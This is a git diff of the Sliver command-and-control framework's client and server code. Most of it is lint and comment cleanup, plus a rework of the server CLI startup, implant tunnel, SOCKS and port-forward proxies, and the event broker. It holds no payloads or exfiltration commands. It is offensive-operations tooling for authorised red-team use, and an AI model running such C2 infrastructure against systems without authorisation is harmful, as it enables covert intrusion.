ExternalBuildEvent = "external-build" AcknowledgeBuildEvent = "external-acknowledge" ExternalBuildFailedEvent = "external-build-failed" ExternalBuildCompletedEvent = "external-build-completed" - // TrafficEncoder Events + // TrafficEncoder Events. TrafficEncoderTestProgressEvent = "traffic-encoder-test-progress" - // Crackstation Events + // Crackstation Events. CrackstationConnected = "crackstation-connected" CrackstationDisconnected = "crackstation-disconnected" - // Crack Events - Events consumed by crackstations + // Crack Events - Events consumed by crackstations. CrackBenchmark = "crack-benchmark" CrackStatusEvent = "crack-status" - // WireGuardNewPeer - New Wireguard peer added + // WireGuardNewPeer - New Wireguard peer added. WireGuardNewPeer = "wireguard-newpeer" ) -// Commands +// Commands. const ( OperatorsStr = "operators" NewOperatorStr = "new-operator" @@ -144,9 +144,9 @@ const ( SearchStr = "search" TrafficEncodersStr = "traffic-encoders" - // Generic + // Generic. - // NewStr - "new" + // NewStr - "new". NewStr = "new" AddStr = "add" StartStr = "start" @@ -294,16 +294,16 @@ const ( Hcstat2Str = "hcstat2" ) -// Groups +// Groups. const ( - // Server commands ===================== + // Server commands =====================. GenericHelpGroup = "Generic" NetworkHelpGroup = "Network" PayloadsHelpGroup = "Payload" DataHelpGroup = "Data" SliverHelpGroup = "Sliver" - // Sliver commands ===================== + // Sliver commands =====================. SliverCoreHelpGroup = "Core" InfoHelpGroup = "Info" FilesystemHelpGroup = "Filesystem" @@ -314,13 +314,13 @@ const ( AliasHelpGroup = "Sliver - 3rd Party macros" ExtensionHelpGroup = "Sliver - 3rd Party extensions" - // Useless + // Useless. SliverWinHelpGroup = "Sliver - Windows" MultiplayerHelpGroup = "Multiplayer" ) // Command types / filters (per OS/type/C2/etc) -// Should not be changed: extension.json artifact file (architecture/OS) rely on some of the values below, +// Should not be changed: extension.json artifact file (architecture/OS) rely on some of the values below,. const ( SessionCmdsFilter = "session" BeaconCmdsFilter = "beacon" @@ -328,7 +328,7 @@ const ( WireguardCmdsFilter = "wireguard" ) -// Creds (needed here to avoid recursive imports) +// Creds (needed here to avoid recursive imports). const ( UserColonHashNewlineFormat = "user:hash" // username:hash\n HashNewlineFormat = "hash" // hash\n diff --git a/client/core/curses.go b/client/core/curses.go index 9df00d1a8c..7cc2659112 100644 --- a/client/core/curses.go +++ b/client/core/curses.go @@ -24,10 +24,8 @@ import ( "sync" ) -var ( - // SessionID -> CursedProcess - CursedProcesses = &sync.Map{} -) +// SessionID -> CursedProcess. +var CursedProcesses = &sync.Map{} type CursedProcess struct { SessionID string diff --git a/client/core/portfwd.go b/client/core/portfwd.go index 92e2141ce6..3b229b4ebb 100644 --- a/client/core/portfwd.go +++ b/client/core/portfwd.go @@ -36,7 +36,7 @@ import ( ) var ( - // Portfwds - Struct instance that holds all the portfwds + // Portfwds - Struct instance that holds all the portfwds. Portfwds = portfwds{ forwards: map[int]*Portfwd{}, mutex: &sync.RWMutex{}, @@ -45,7 +45,7 @@ var ( portfwdID = 0 ) -// PortfwdMeta - Metadata about a portfwd listener +// PortfwdMeta - Metadata about a portfwd listener. type PortfwdMeta struct { ID int SessionID string @@ -53,14 +53,14 @@ type PortfwdMeta struct { RemoteAddr string } -// Portfwd - Tracks portfwd<->tcpproxy +// Portfwd - Tracks portfwd<->tcpproxy. type Portfwd struct { ID int TCPProxy *tcpproxy.Proxy ChannelProxy *ChannelProxy } -// GetMetadata - Get metadata about the portfwd +// GetMetadata - Get metadata about the portfwd. func (p *Portfwd) GetMetadata() *PortfwdMeta { return &PortfwdMeta{ ID: p.ID, @@ -75,7 +75,7 @@ type portfwds struct { mutex *sync.RWMutex } -// Add - Add a TCP proxy instance +// Add - Add a TCP proxy instance. func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Portfwd { f.mutex.Lock() defer f.mutex.Unlock() @@ -88,7 +88,7 @@ func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Po return portfwd } -// Remove - Remove a TCP proxy instance +// Remove - Remove a TCP proxy instance. func (f *portfwds) Remove(portfwdID int) bool { f.mutex.Lock() defer f.mutex.Unlock() @@ -100,7 +100,7 @@ func (f *portfwds) Remove(portfwdID int) bool { return false } -// List - List all TCP proxy instances +// List - List all TCP proxy instances. func (f *portfwds) List() []*PortfwdMeta { f.mutex.RLock() defer f.mutex.RUnlock() @@ -114,7 +114,7 @@ func (f *portfwds) List() []*PortfwdMeta { // ChannelProxy binds the Sliver Tunnel to a net.Conn object // one ChannelProxy per port bind. // -// Implements the Target interface from tcpproxy pkg +// Implements the Target interface from tcpproxy pkg. type ChannelProxy struct { Rpc rpcpb.SliverRPCClient Session *clientpb.Session @@ -125,7 +125,7 @@ type ChannelProxy struct { DialTimeout time.Duration } -// HandleConn - Handle a TCP connection +// HandleConn - Handle a TCP connection. func (p *ChannelProxy) HandleConn(conn net.Conn) { log.Printf("[tcpproxy] Handling new connection") ctx := context.Background() @@ -158,7 +158,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) { } } -// HostPort - Returns the host and port of the TCP proxy +// HostPort - Returns the host and port of the TCP proxy. func (p *ChannelProxy) HostPort() (string, uint32) { defaultPort := uint32(8080) host, rawPort, err := net.SplitHostPort(p.RemoteAddr) @@ -179,20 +179,19 @@ func (p *ChannelProxy) HostPort() (string, uint32) { return host, port } -// Port - Returns the TCP port of the proxy +// Port - Returns the TCP port of the proxy. func (p *ChannelProxy) Port() uint32 { _, port := p.HostPort() return port } -// Host - Returns the host (i.e., interface) of the TCP proxy +// Host - Returns the host (i.e., interface) of the TCP proxy. func (p *ChannelProxy) Host() string { host, _ := p.HostPort() return host } func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) { - log.Printf("[tcpproxy] Dialing implant to create tunnel ...") // Create an RPC tunnel, then start it before binding the shell to the newly created tunnel diff --git a/client/core/reactions.go b/client/core/reactions.go index fb3eb7ef49..53075a349b 100644 --- a/client/core/reactions.go +++ b/client/core/reactions.go @@ -25,13 +25,13 @@ import ( ) var ( - // Reactions - Manages/tracks reactions + // Reactions - Manages/tracks reactions. Reactions = &reactions{ reactionMap: map[string][]Reaction{}, mutex: &sync.RWMutex{}, } - // ReactableEvents - A list of reactionable events + // ReactableEvents - A list of reactionable events. ReactableEvents = []string{ consts.SessionOpenedEvent, consts.SessionUpdateEvent, @@ -58,7 +58,7 @@ type reactions struct { reactionID int } -// Add - Add a reaction +// Add - Add a reaction. func (r *reactions) Add(reaction Reaction) Reaction { r.mutex.Lock() defer r.mutex.Unlock() @@ -73,7 +73,7 @@ func (r *reactions) Add(reaction Reaction) Reaction { } // Remove - Remove a reaction, yes we're using linear search but this isn't exactly -// a performance critical piece of code and the map/slice is going to be very small +// a performance critical piece of code and the map/slice is going to be very small. func (r *reactions) Remove(reactionID int) bool { r.mutex.Lock() defer r.mutex.Unlock() @@ -88,7 +88,7 @@ func (r *reactions) Remove(reactionID int) bool { return false } -// On - Get all reactions of a specific type +// On - Get all reactions of a specific type. func (r *reactions) On(eventType string) []Reaction { r.mutex.RLock() defer r.mutex.RUnlock() @@ -100,7 +100,7 @@ func (r *reactions) On(eventType string) []Reaction { return []Reaction{} } -// All - Get all reactions (returns a flat list with all event types) +// All - Get all reactions (returns a flat list with all event types). func (r *reactions) All() []Reaction { r.mutex.RLock() defer r.mutex.RUnlock() @@ -111,7 +111,7 @@ func (r *reactions) All() []Reaction { return reactions } -// Reaction - Metadata about a portfwd listener +// Reaction - Metadata about a portfwd listener. type Reaction struct { ID int `json:"-"` EventType string `json:"event_type"` diff --git a/client/core/socks.go b/client/core/socks.go index fe95337664..78e1f42f43 100644 --- a/client/core/socks.go +++ b/client/core/socks.go @@ -34,7 +34,7 @@ import ( ) var ( - // SocksProxies - Struct instance that holds all the portfwds + // SocksProxies - Struct instance that holds all the portfwds. SocksProxies = socksProxy{ tcpProxies: map[uint64]*SocksProxy{}, mutex: &sync.RWMutex{}, @@ -43,7 +43,7 @@ var ( SocksProxyID = (uint64)(0) ) -// PortfwdMeta - Metadata about a portfwd listener +// PortfwdMeta - Metadata about a portfwd listener. type SocksProxyMeta struct { ID uint64 SessionID string @@ -78,13 +78,13 @@ func (tcp *TcpProxy) Stop() error { return err } -// SocksProxy - Tracks portfwd<->tcpproxy +// SocksProxy - Tracks portfwd<->tcpproxy. type SocksProxy struct { ID uint64 ChannelProxy *TcpProxy } -// GetMetadata - Get metadata about the portfwd +// GetMetadata - Get metadata about the portfwd. func (p *SocksProxy) GetMetadata() *SocksProxyMeta { return &SocksProxyMeta{ ID: p.ID, @@ -100,7 +100,7 @@ type socksProxy struct { mutex *sync.RWMutex } -// Add - Add a TCP proxy instance +// Add - Add a TCP proxy instance. func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy { f.mutex.Lock() defer f.mutex.Unlock() @@ -140,7 +140,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error { continue } log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data)) - //fmt.Printf("recv data len %d \n", len(p.Data)) + _, err := conn.Write(socksData.Data) if err != nil { log.Printf("Failed to write data to proxy connection, %s\n", err) @@ -177,7 +177,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error { return nil } -// Remove - Remove a TCP proxy instance +// Remove - Remove a TCP proxy instance. func (f *socksProxy) Remove(socksId uint64) bool { f.mutex.Lock() defer f.mutex.Unlock() @@ -190,7 +190,7 @@ func (f *socksProxy) Remove(socksId uint64) bool { return false } -// List - List all TCP proxy instances +// List - List all TCP proxy instances. func (f *socksProxy) List() []*SocksProxyMeta { f.mutex.RLock() defer f.mutex.RUnlock() @@ -210,11 +210,10 @@ const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096) var leakyBuf = leaky.NewLeakyBuf(2048, leakyBufSize) func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliverpb.SocksData) { - SocksConnPool.Store(frame.TunnelID, conn) defer func() { - // It's neccessary to close and remove connection once we done with it + // It's necessary to close and remove connection once we done with it c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID) if !ok { return @@ -233,7 +232,6 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv var ToImplantSequence uint64 = 0 for { n, err := conn.Read(buff) - if err != nil { log.Printf("[socks] (User to Client) failed to read data, %s ", err) // Error basically means that the connection is closed(EOF) OR deadline exceeded diff --git a/client/core/tunnel.go b/client/core/tunnel.go index 821d283348..f19bf53245 100644 --- a/client/core/tunnel.go +++ b/client/core/tunnel.go @@ -27,9 +27,11 @@ import ( ) // TunnelLoop - Parses incoming tunnel messages and distributes them -// to session/tunnel objects -// Expected to be called only once during initialization +// +// to session/tunnel objects +// Expected to be called only once during initialization func TunnelLoop(rpc rpcpb.SliverRPCClient) error { + log.SetOutput(io.Discard) log.Println("Starting tunnel data loop ...") defer log.Printf("Warning: TunnelLoop exited") diff --git a/client/core/tunnel_io.go b/client/core/tunnel_io.go index 4970312c06..34eda79c66 100644 --- a/client/core/tunnel_io.go +++ b/client/core/tunnel_io.go @@ -26,7 +26,7 @@ import ( "sync" ) -// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter +// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter. type TunnelIO struct { ID uint64 SessionID string @@ -38,7 +38,7 @@ type TunnelIO struct { mutex *sync.RWMutex } -// NewTunnelIO - Single entry point for creating instance of new TunnelIO +// NewTunnelIO - Single entry point for creating instance of new TunnelIO. func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO { log.Printf("New tunnel!: %d", tunnelID) @@ -52,7 +52,7 @@ func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO { } } -// Write - Writer method for interface +// Write - Writer method for interface. func (tun *TunnelIO) Write(data []byte) (int, error) { if !tun.IsOpen() { log.Printf("Warning: Write on closed tunnel %d", tun.ID) @@ -71,7 +71,7 @@ func (tun *TunnelIO) Write(data []byte) (int, error) { return n, nil } -// Read - Reader method for interface +// Read - Reader method for interface. func (tun *TunnelIO) Read(data []byte) (int, error) { recvData, ok := <-tun.Recv if !ok { @@ -87,7 +87,7 @@ func (tun *TunnelIO) Read(data []byte) (int, error) { return n, nil } -// Close - Close tunnel IO operations +// Close - Close tunnel IO operations. func (tun *TunnelIO) Close() error { tun.mutex.Lock() defer tun.mutex.Unlock() diff --git a/client/core/tunnels.go b/client/core/tunnels.go index 571ac5911a..b6efec49bb 100644 --- a/client/core/tunnels.go +++ b/client/core/tunnels.go @@ -28,13 +28,13 @@ import ( ) var ( - // tunnelsStorage - Holds refs to all tunnels + // tunnelsStorage - Holds refs to all tunnels. tunnelsStorage *tunnels tunnelsSingletonLock = &sync.Mutex{} ) -// GetTunnels - singleton function that returns or initializes all tunnels +// GetTunnels - singleton function that returns or initializes all tunnels. func GetTunnels() *tunnels { tunnelsSingletonLock.Lock() defer tunnelsSingletonLock.Unlock() @@ -53,7 +53,7 @@ func GetTunnels() *tunnels { } // Holds the tunnels locally so we can map incoming data -// messages to the tunnel +// messages to the tunnel. type tunnels struct { tunnels *map[uint64]*TunnelIO mutex *sync.RWMutex @@ -70,7 +70,7 @@ func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) { t.stream = stream } -// Get - Get a tunnel +// Get - Get a tunnel. func (t *tunnels) Get(tunnelID uint64) *TunnelIO { t.mutex.RLock() defer t.mutex.RUnlock() @@ -81,7 +81,7 @@ func (t *tunnels) Get(tunnelID uint64) *TunnelIO { } // send - safe way to send a message to the stream -// protobuf stream allow only one writer at a time, so just in case there is a mutex for it +// protobuf stream allow only one writer at a time, so just in case there is a mutex for it. func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error { t.streamMutex.Lock() defer t.streamMutex.Unlock() @@ -95,7 +95,7 @@ func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error { return t.stream.Send(tunnelData) } -// Start - Add a tunnel to the core mapper +// Start - Add a tunnel to the core mapper. func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO { t.mutex.Lock() defer t.mutex.Unlock() @@ -116,7 +116,6 @@ func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO { SessionID: tunnel.SessionID, Data: data, }) - if err != nil { log.Printf("Error sending, %s", err) } @@ -129,7 +128,7 @@ func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO { return tunnel } -// Close - Close the tunnel channels +// Close - Close the tunnel channels. func (t *tunnels) Close(tunnelID uint64) { t.mutex.Lock() defer t.mutex.Unlock() @@ -145,7 +144,7 @@ func (t *tunnels) Close(tunnelID uint64) { } } -// CloseForSession - closing all tunnels for specified session id +// CloseForSession - closing all tunnels for specified session id. func (t *tunnels) CloseForSession(sessionID string) { t.mutex.RLock() defer t.mutex.RUnlock() diff --git a/go.mod b/go.mod index a0b5ef01ea..f665adb866 100644 --- a/go.mod +++ b/go.mod @@ -4,8 +4,12 @@ go 1.20 replace github.com/rsteube/carapace v0.37.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca +// replace github.com/rsteube/carapace v0.37.3 => /home/user/code/github.com/reeflective/carapace + replace github.com/reeflective/team v0.0.0-20230717232729-e28a155bca96 => /home/user/code/github.com/reeflective/team +replace github.com/reeflective/console v0.1.6 => /home/user/code/github.com/reeflective/console + require ( filippo.io/age v1.1.1 github.com/AlecAivazis/survey/v2 v2.3.7 diff --git a/go.sum b/go.sum index ba570edf91..b9f137fea9 100644 --- a/go.sum +++ b/go.sum @@ -322,10 +322,6 @@ github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZN github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9KahnJGfEsBPVPz3182TgFRowA8yY= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= -github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1qmNtS/2z6Y7EtIg7OXEDaoSuULsUoksEepmQ= -github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= -github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw= -github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek= github.com/reeflective/readline v1.0.8 h1:VuDGI82lAwl1H5by+hpW4OQgM+9ikh6EuOySQUGP3sI= github.com/reeflective/readline v1.0.8/go.mod h1:5JgnHb/ZCvp/6RUA59HEansPBxWTkyBO4hJ5LL9Fp1Y= github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= diff --git a/server/cli/cli.go b/server/cli/cli.go index 4da9dfdb38..488ea42ef3 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -26,13 +26,12 @@ import ( "strings" "github.com/bishopfox/sliver/client/command" + sliverConsoleCmd "github.com/bishopfox/sliver/client/command/console" "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/server/assets" - "github.com/bishopfox/sliver/server/c2" "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/configs" "github.com/bishopfox/sliver/server/cryptography" - "github.com/reeflective/team/server/commands" "github.com/rsteube/carapace" "github.com/spf13/cobra" ) @@ -67,75 +66,6 @@ func initConsoleLogging(appDir string) *os.File { return logFile } -func init() { - // Console interface, started closed-loop or not. - con := console.NewConsole(false) - - // Teamserver/client API and commands for remote/local CLI. - teamserver, teamclient := newSliverTeam(con) - teamserverCmds := commands.Generate(teamserver, teamclient) - - rootCmd.AddCommand(teamserverCmds) - - // Pre-runners to self-connect - preRun := func(cmd *cobra.Command, _ []string) error { - // Ensure the server has what it needs - assets.Setup(false, true) - certs.SetupCAs() - certs.SetupWGKeys() - cryptography.AgeServerKeyPair() - cryptography.MinisignServerPrivateKey() - - // Let our runtime teamclient be served. - if err := teamserver.Serve(teamclient); err != nil { - return err - } - - // Start persistent implant/c2 jobs (not teamservers) - serverConfig := configs.GetServerConfig() - c2.StartPersistentJobs(serverConfig) - - // Only start the teamservers when the console being - // ran is the console itself: the daemon command will - // start them on its own, since the config is different. - if cmd.Name() == "console" { - teamserver.ListenerStartPersistents() // Automatically logged errors. - // console.StartPersistentJobs(serverConfig) // Old alternative - } - - return nil - } - - rootCmd.PersistentPreRunE = preRun - - rootCmd.AddCommand(consoleCmd(con)) - - // Unpack - unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") - rootCmd.AddCommand(unpackCmd) - - // Certs - cmdExportCA.Flags().StringP(saveFlagStr, "s", "", "save CA to file ...") - cmdExportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) - rootCmd.AddCommand(cmdExportCA) - - cmdImportCA.Flags().StringP(loadFlagStr, "l", "", "load CA from file ...") - cmdImportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) - rootCmd.AddCommand(cmdImportCA) - - // Builder - rootCmd.AddCommand(initBuilderCmd()) - - // Version - rootCmd.AddCommand(versionCmd) - - // Completions - comps := carapace.Gen(rootCmd) - comps.PreRun(func(cmd *cobra.Command, args []string) { - preRun(cmd, args) - }) -} - var rootCmd = &cobra.Command{ Use: "sliver-server", Short: "", @@ -175,57 +105,195 @@ var rootCmd = &cobra.Command{ // Execute - Execute root command func Execute() { - if err := rootCmd.Execute(); err != nil { - fmt.Println(err) - os.Exit(1) + // Console interface, started closed-loop or not. + con := console.NewConsole(true) + + // Teamserver/client API and commands for remote/local CLI. + teamserver, teamclient := newSliverTeam(con) + + con.Teamclient = teamclient + + // Bind commands to the app + server := con.App.Menu(consts.ServerMenu) + server.SetCommands(command.ServerCommands(con, teamserver)) + + serverCmds := command.ServerCommands(con, teamserver)() + serverCmds.Use = "sliver-server" + + // sliver := con.App.Menu(consts.ImplantMenu) + // sliver.SetCommands(command.SliverCommands(con)) + + // Pre-runners to self-connect + preRun := func(cmd *cobra.Command, _ []string) error { + // Ensure the server has what it needs + assets.Setup(false, true) + certs.SetupCAs() + certs.SetupWGKeys() + cryptography.AgeServerKeyPair() + cryptography.MinisignServerPrivateKey() + + // Let our runtime teamclient be served. + if err := teamserver.Serve(con.Teamclient); err != nil { + return err + } + + console.StartClient(con, command.ServerCommands(con, teamserver), command.SliverCommands(con)) + return nil } -} -func initAlt() { + serverCmds.PersistentPreRunE = preRun + + serverCmds.AddCommand(sliverConsoleCmd.Command(con)) + // Unpack unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") - rootCmd.AddCommand(unpackCmd) - - // Operator - // operatorCmd.Flags().StringP(nameFlagStr, "n", "", "operator name") - // operatorCmd.Flags().StringP(lhostFlagStr, "l", "", "multiplayer listener host") - // operatorCmd.Flags().Uint16P(lportFlagStr, "p", uint16(31337), "multiplayer listener port") - // operatorCmd.Flags().StringP(saveFlagStr, "s", "", "save file to ...") - // rootCmd.AddCommand(operatorCmd) + serverCmds.AddCommand(unpackCmd) // Certs cmdExportCA.Flags().StringP(saveFlagStr, "s", "", "save CA to file ...") cmdExportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) - rootCmd.AddCommand(cmdExportCA) + serverCmds.AddCommand(cmdExportCA) cmdImportCA.Flags().StringP(loadFlagStr, "l", "", "load CA from file ...") cmdImportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) - rootCmd.AddCommand(cmdImportCA) - - // Daemon - // daemonCmd.Flags().StringP(lhostFlagStr, "l", daemon.BlankHost, "multiplayer listener host") - // daemonCmd.Flags().Uint16P(lportFlagStr, "p", daemon.BlankPort, "multiplayer listener port") - // daemonCmd.Flags().BoolP(forceFlagStr, "f", false, "force unpack and overwrite static assets") - // rootCmd.AddCommand(daemonCmd) + serverCmds.AddCommand(cmdImportCA) // Builder - rootCmd.AddCommand(initBuilderCmd()) + // rootCmd.AddCommand(initBuilderCmd()) // Version - rootCmd.AddCommand(versionCmd) -} - -// consoleCmd generates the console with required pre/post runners -func consoleCmd(con *console.SliverClient) *cobra.Command { - consoleCmd := &cobra.Command{ - Use: "console", - Short: "Start the sliver client console", - RunE: func(cmd *cobra.Command, args []string) error { - return console.StartClient(con, command.ServerCommands(con, nil), command.SliverCommands(con), true) - }, - } + // rootCmd.AddCommand(versionCmd) - // consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true) + // Completions + comps := carapace.Gen(serverCmds) + comps.PreRun(func(cmd *cobra.Command, args []string) { + preRun(cmd, args) + }) + // comps.PostRun(func(cmd *cobra.Command, args []string) { + // postRun(cmd, args) + // }) - return consoleCmd + if err := serverCmds.Execute(); err != nil { + fmt.Println(err) + os.Exit(1) + } } + +// func initAlt() { +// // Unpack +// unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") +// rootCmd.AddCommand(unpackCmd) +// +// // Operator +// // operatorCmd.Flags().StringP(nameFlagStr, "n", "", "operator name") +// // operatorCmd.Flags().StringP(lhostFlagStr, "l", "", "multiplayer listener host") +// // operatorCmd.Flags().Uint16P(lportFlagStr, "p", uint16(31337), "multiplayer listener port") +// // operatorCmd.Flags().StringP(saveFlagStr, "s", "", "save file to ...") +// // rootCmd.AddCommand(operatorCmd) +// +// // Certs +// cmdExportCA.Flags().StringP(saveFlagStr, "s", "", "save CA to file ...") +// cmdExportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) +// rootCmd.AddCommand(cmdExportCA) +// +// cmdImportCA.Flags().StringP(loadFlagStr, "l", "", "load CA from file ...") +// cmdImportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) +// rootCmd.AddCommand(cmdImportCA) +// +// // Daemon +// // daemonCmd.Flags().StringP(lhostFlagStr, "l", daemon.BlankHost, "multiplayer listener host") +// // daemonCmd.Flags().Uint16P(lportFlagStr, "p", daemon.BlankPort, "multiplayer listener port") +// // daemonCmd.Flags().BoolP(forceFlagStr, "f", false, "force unpack and overwrite static assets") +// // rootCmd.AddCommand(daemonCmd) +// +// // Builder +// rootCmd.AddCommand(initBuilderCmd()) +// +// // Version +// rootCmd.AddCommand(versionCmd) +// } + +// func init() { +// // Console interface, started closed-loop or not. +// con := console.NewConsole(false) +// +// // Teamserver/client API and commands for remote/local CLI. +// teamserver, teamclient := newSliverTeam(con) +// // teamserverCmds := commands.Generate(teamserver, teamclient) +// +// con.Teamclient = teamclient +// +// // Bind commands to the app +// server := con.App.Menu(consts.ServerMenu) +// server.SetCommands(command.ServerCommands(con, teamserver)) +// +// serverCmds := command.ServerCommands(con, teamserver)() +// +// // server.Reset() +// // sliver := con.App.Menu(consts.ImplantMenu) +// // sliver.SetCommands(command.SliverCommands(con)) +// // rootCmd = server.Command +// // rootCmd.Use = "sliver-server" +// +// // rootCmd.AddCommand(teamserverCmds) +// +// // Pre-runners to self-connect +// preRun := func(cmd *cobra.Command, _ []string) error { +// // Ensure the server has what it needs +// assets.Setup(false, true) +// certs.SetupCAs() +// certs.SetupWGKeys() +// cryptography.AgeServerKeyPair() +// cryptography.MinisignServerPrivateKey() +// +// // Let our runtime teamclient be served. +// if err := teamserver.Serve(teamclient); err != nil { +// return err +// } +// +// // Start persistent implant/c2 jobs (not teamservers) +// // serverConfig := configs.GetServerConfig() +// // c2.StartPersistentJobs(serverConfig) +// +// // Only start the teamservers when the console being +// // ran is the console itself: the daemon command will +// // start them on its own, since the config is different. +// // if cmd.Name() == "console" { +// // teamserver.ListenerStartPersistents() // Automatically logged errors. +// // // console.StartPersistentJobs(serverConfig) // Old alternative +// // } +// +// console.StartClient(con, nil, nil) +// return nil +// } +// // return nil +// +// serverCmds.PersistentPreRunE = preRun +// +// serverCmds.AddCommand(consoleCmd(con)) +// +// // Unpack +// unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") +// serverCmds.AddCommand(unpackCmd) +// +// // Certs +// cmdExportCA.Flags().StringP(saveFlagStr, "s", "", "save CA to file ...") +// cmdExportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) +// serverCmds.AddCommand(cmdExportCA) +// +// cmdImportCA.Flags().StringP(loadFlagStr, "l", "", "load CA from file ...") +// cmdImportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) +// serverCmds.AddCommand(cmdImportCA) +// +// // Builder +// // rootCmd.AddCommand(initBuilderCmd()) +// +// // Version +// // rootCmd.AddCommand(versionCmd) +// +// // Completions +// comps := carapace.Gen(serverCmds) +// comps.PreRun(func(cmd *cobra.Command, args []string) { +// preRun(cmd, args) +// }) +// } diff --git a/server/cli/teamserver.go b/server/cli/teamserver.go index ff21844873..31cc8b58db 100644 --- a/server/cli/teamserver.go +++ b/server/cli/teamserver.go @@ -41,11 +41,6 @@ func newSliverTeam(con *console.SliverClient) (*server.Server, *client.Client) { server.WithListener(gTeamserver), ) - teamserver, err := server.New("sliver", serverOpts...) - if err != nil { - log.Fatal(err) - } - bindServer := func(grpcServer *grpc.Server) error { if grpcServer == nil { return errors.New("No gRPC server to use for service") @@ -58,6 +53,11 @@ func newSliverTeam(con *console.SliverClient) (*server.Server, *client.Client) { gTeamserver.PostServe(bindServer) + teamserver, err := server.New("sliver", serverOpts...) + if err != nil { + log.Fatal(err) + } + // Teamclient gTeamclient := teamGrpc.NewClientFrom(gTeamserver) diff --git a/server/core/events.go b/server/core/events.go index 9313696151..4084c5b13b 100644 --- a/server/core/events.go +++ b/server/core/events.go @@ -24,11 +24,16 @@ import ( const ( // Size is arbitrary, just want to avoid weird cases where we'd block on channel sends - eventBufSize = 5 + // NOTE: Changed by me: when clients are one-time exec CLI commands, you don't know how + // fast they connect/disconnect from their RPC.Events() call. + // When the event channels are buffered, sooner or later the broker writes to a closed + // channel. Just make it one so that this does not happen. + eventBufSize = 0 ) // Event - An event is fired when there's a state change involving a -// session, job, or client. +// +// session, job, or client. type Event struct { Session *Session Job *Job @@ -57,6 +62,7 @@ func (broker *eventBroker) Start() { case <-broker.stop: for sub := range subscribers { close(sub) + delete(subscribers, sub) } return case sub := <-broker.subscribe: @@ -106,7 +112,5 @@ func newBroker() *eventBroker { return broker } -var ( - // EventBroker - Distributes event messages - EventBroker = newBroker() -) +// EventBroker - Distributes event messages +var EventBroker = newBroker() diff --git a/server/rpc/rpc-events.go b/server/rpc/rpc-events.go index e45f235d9d..c43f74022c 100644 --- a/server/rpc/rpc-events.go +++ b/server/rpc/rpc-events.go @@ -8,9 +8,7 @@ import ( "github.com/bishopfox/sliver/server/log" ) -var ( - rpcEventsLog = log.NamedLogger("rpc", "events") -) +var rpcEventsLog = log.NamedLogger("rpc", "events") // Events - Stream events to client func (rpc *Server) Events(_ 